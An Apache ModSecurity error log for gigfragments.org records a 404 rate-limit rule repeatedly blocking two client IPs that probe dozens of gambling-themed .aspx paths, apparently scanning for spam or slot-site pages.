[Wed Feb 04 05:09:00.996409 2026] [:error] [pid 18816:tid 18837] [client 145.239.195.38:44394] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYJj7MszZcOol_Iv-0Un3AAAARI"]
[Wed Feb 04 05:09:03.089375 2026] [:error] [pid 18816:tid 18827] [client 145.239.195.38:44402] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYJj78szZcOol_Iv-0Un4QAAAQg"]
[Wed Feb 04 05:09:05.161932 2026] [:error] [pid 18816:tid 18833] [client 145.239.195.38:48864] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYJj8cszZcOol_Iv-0Un5QAAAQ4"]
[Wed Feb 04 05:09:07.212908 2026] [:error] [pid 47578:tid 47617] [client 145.239.195.38:48878] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYJj855oatM9u8-yDv_orAAAAEI"]
[Wed Feb 04 05:09:09.260436 2026] [:error] [pid 18816:tid 18821] [client 145.239.195.38:48890] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYJj9cszZcOol_Iv-0Un6AAAAQI"]
[Wed Feb 04 05:09:11.410921 2026] [:error] [pid 47577:tid 47589] [client 145.239.195.38:48894] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYJj96vA4Yp0Sov-3kTvogAAAAg"]
[Wed Feb 04 05:09:13.941181 2026] [:error] [pid 47676:tid 47682] [client 145.239.195.38:41776] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYJj-QrYSkTgZEfUDqFguQAAAMQ"]
[Wed Feb 04 05:09:16.064866 2026] [:error] [pid 47676:tid 47697] [client 145.239.195.38:41786] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYJj_ArYSkTgZEfUDqFgvwAAANM"]
[Wed Feb 04 05:09:28.261879 2026] [:error] [pid 47579:tid 47647] [client 145.239.195.38:52152] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYJkCPuxWks846_Vi2y7LwAAAIM"]
[Wed Feb 04 05:09:30.233643 2026] [:error] [pid 47578:tid 47636] [client 145.239.195.38:52154] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYJkCp5oatM9u8-yDv_ozgAAAFU"]
[Wed Feb 04 05:09:32.310130 2026] [:error] [pid 47579:tid 47651] [client 145.239.195.38:52170] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYJkDPuxWks846_Vi2y7NQAAAIc"]
[Wed Feb 04 05:09:34.357253 2026] [:error] [pid 18816:tid 18828] [client 145.239.195.38:32896] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYJkDsszZcOol_Iv-0UoZwAAAQk"]
[Wed Feb 04 05:09:36.281890 2026] [:error] [pid 47579:tid 47644] [client 145.239.195.38:32908] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYJkEPuxWks846_Vi2y7OwAAAIA"]
[Wed Feb 04 05:09:38.314940 2026] [:error] [pid 47577:tid 47605] [client 145.239.195.38:32922] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYJkEqvA4Yp0Sov-3kTvuwAAABg"]
[Wed Feb 04 05:10:16.512115 2026] [:error] [pid 47577:tid 47592] [client 145.239.195.38:32936] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYJkOKvA4Yp0Sov-3kTv_AAAAAs"]
[Wed Feb 04 05:10:18.573192 2026] [:error] [pid 18816:tid 18837] [client 145.239.195.38:36228] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aYJkOsszZcOol_Iv-0UokwAAARI"]
[Wed Feb 04 05:10:20.761292 2026] [:error] [pid 47577:tid 47593] [client 145.239.195.38:36244] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aYJkPKvA4Yp0Sov-3kTwAgAAAAw"]
[Wed Feb 04 05:10:22.885760 2026] [:error] [pid 47578:tid 47629] [client 145.239.195.38:36254] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aYJkPp5oatM9u8-yDv_pMQAAAE4"]
[Wed Feb 04 05:10:24.803887 2026] [:error] [pid 18816:tid 18829] [client 145.239.195.38:34822] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aYJkQMszZcOol_Iv-0UoowAAAQo"]
[Wed Feb 04 05:10:26.855644 2026] [:error] [pid 47676:tid 47679] [client 145.239.195.38:34826] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aYJkQgrYSkTgZEfUDqFhCwAAAME"]
[Wed Feb 04 05:12:39.046354 2026] [:error] [pid 47579:tid 47661] [client 65.108.78.33:12888] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYJkx_uxWks846_Vi2y8SAAAAJE"]
[Wed Feb 04 05:12:41.169728 2026] [:error] [pid 18816:tid 18837] [client 65.108.78.33:12904] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYJkycszZcOol_Iv-0UpcgAAARI"]
[Wed Feb 04 05:12:43.295560 2026] [:error] [pid 18816:tid 18838] [client 65.108.78.33:35158] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYJky8szZcOol_Iv-0UpdgAAARM"]
[Wed Feb 04 05:12:45.431754 2026] [:error] [pid 18816:tid 18843] [client 65.108.78.33:35164] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYJkzcszZcOol_Iv-0UpegAAARg"]
[Wed Feb 04 05:12:47.557090 2026] [:error] [pid 18816:tid 18833] [client 65.108.78.33:35166] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYJkz8szZcOol_Iv-0UpgAAAAQ4"]
[Wed Feb 04 05:12:49.662999 2026] [:error] [pid 47577:tid 47585] [client 65.108.78.33:35168] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYJk0avA4Yp0Sov-3kTwhQAAAAQ"]
[Wed Feb 04 05:12:51.795356 2026] [:error] [pid 47577:tid 47593] [client 65.108.78.33:35180] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYJk06vA4Yp0Sov-3kTwiAAAAAw"]
[Wed Feb 04 05:12:53.917966 2026] [:error] [pid 18816:tid 18843] [client 65.108.78.33:17174] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYJk1cszZcOol_Iv-0UphgAAARg"]
[Wed Feb 04 05:12:56.048010 2026] [:error] [pid 18816:tid 18833] [client 65.108.78.33:17176] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYJk2MszZcOol_Iv-0UpiQAAAQ4"]
[Wed Feb 04 05:12:58.163956 2026] [:error] [pid 47579:tid 47654] [client 65.108.78.33:17192] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYJk2vuxWks846_Vi2y8XwAAAIo"]
[Wed Feb 04 05:13:00.300081 2026] [:error] [pid 47676:tid 47694] [client 65.108.78.33:17196] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYJk3ArYSkTgZEfUDqFh2QAAANA"]
[Wed Feb 04 05:13:02.422428 2026] [:error] [pid 47579:tid 47653] [client 65.108.78.33:34100] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYJk3vuxWks846_Vi2y8ZgAAAIk"]
[Wed Feb 04 05:13:04.546328 2026] [:error] [pid 47578:tid 47631] [client 65.108.78.33:34112] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYJk4J5oatM9u8-yDv_pxgAAAFA"]
[Wed Feb 04 05:13:06.667715 2026] [:error] [pid 47579:tid 47644] [client 65.108.78.33:34124] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYJk4vuxWks846_Vi2y8bQAAAIA"]
[Wed Feb 04 05:13:08.792266 2026] [:error] [pid 47579:tid 47647] [client 65.108.78.33:34130] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYJk5PuxWks846_Vi2y8cwAAAIM"]
[Wed Feb 04 05:13:10.911706 2026] [:error] [pid 47579:tid 47658] [client 65.108.78.33:34142] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYJk5vuxWks846_Vi2y8eQAAAI4"]
[Wed Feb 04 05:13:13.032998 2026] [:error] [pid 47579:tid 47655] [client 65.108.78.33:28954] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYJk6fuxWks846_Vi2y8fAAAAIs"]
[Wed Feb 04 05:13:15.164614 2026] [:error] [pid 47579:tid 47658] [client 65.108.78.33:28968] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYJk6_uxWks846_Vi2y8fgAAAI4"]
[Wed Feb 04 05:13:17.286110 2026] [:error] [pid 18816:tid 18833] [client 65.108.78.33:28978] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYJk7cszZcOol_Iv-0UpoQAAAQ4"]
[Wed Feb 04 05:13:19.411321 2026] [:error] [pid 47577:tid 47604] [client 65.108.78.33:28982] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYJk76vA4Yp0Sov-3kTwnAAAABc"]
[Wed Feb 04 05:13:21.533437 2026] [:error] [pid 47578:tid 47633] [client 65.108.78.33:28994] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYJk8Z5oatM9u8-yDv_p0QAAAFI"]
[Wed Feb 04 05:13:23.667615 2026] [:error] [pid 18816:tid 18829] [client 65.108.78.33:30356] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYJk88szZcOol_Iv-0UpqgAAAQo"]
[Wed Feb 04 05:13:25.795210 2026] [:error] [pid 47577:tid 47591] [client 65.108.78.33:30360] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYJk9avA4Yp0Sov-3kTwpgAAAAo"]
[Wed Feb 04 05:13:27.906171 2026] [:error] [pid 47578:tid 47624] [client 65.108.78.33:30370] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYJk955oatM9u8-yDv_p1QAAAEk"]
[Wed Feb 04 05:13:29.881705 2026] [:error] [pid 47578:tid 47640] [client 65.108.78.33:30376] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYJk-Z5oatM9u8-yDv_p2AAAAFc"]
[Wed Feb 04 05:13:31.997225 2026] [:error] [pid 47579:tid 47661] [client 65.108.78.33:18946] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYJk-_uxWks846_Vi2y8kwAAAJE"]
[Wed Feb 04 05:13:34.129024 2026] [:error] [pid 47579:tid 47660] [client 65.108.78.33:18954] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYJk_vuxWks846_Vi2y8lwAAAJA"]
[Wed Feb 04 05:14:21.159745 2026] [:error] [pid 47676:tid 47683] [client 65.108.78.33:48362] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYJlLQrYSkTgZEfUDqFiDgAAAMU"]
[Wed Feb 04 05:14:23.280651 2026] [:error] [pid 47676:tid 47698] [client 65.108.78.33:2024] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYJlLwrYSkTgZEfUDqFiEgAAANQ"]
[Wed Feb 04 05:14:25.399243 2026] [:error] [pid 47578:tid 47634] [client 65.108.78.33:2032] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYJlMZ5oatM9u8-yDv_qBwAAAFM"]
[Wed Feb 04 05:14:27.514469 2026] [:error] [pid 47676:tid 47683] [client 65.108.78.33:2046] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYJlMwrYSkTgZEfUDqFiFQAAAMU"]
[Wed Feb 04 05:14:29.634522 2026] [:error] [pid 47579:tid 47645] [client 65.108.78.33:2052] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYJlNfuxWks846_Vi2y84AAAAIE"]
[Wed Feb 04 05:14:31.756618 2026] [:error] [pid 47577:tid 47581] [client 65.108.78.33:2068] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYJlN6vA4Yp0Sov-3kTwwAAAAAA"]
[Wed Feb 04 05:14:33.878801 2026] [:error] [pid 47579:tid 47658] [client 65.108.78.33:14020] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYJlOfuxWks846_Vi2y85QAAAI4"]
[Wed Feb 04 05:14:35.988858 2026] [:error] [pid 47578:tid 47633] [client 65.108.78.33:14032] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYJlO55oatM9u8-yDv_qHgAAAFI"]
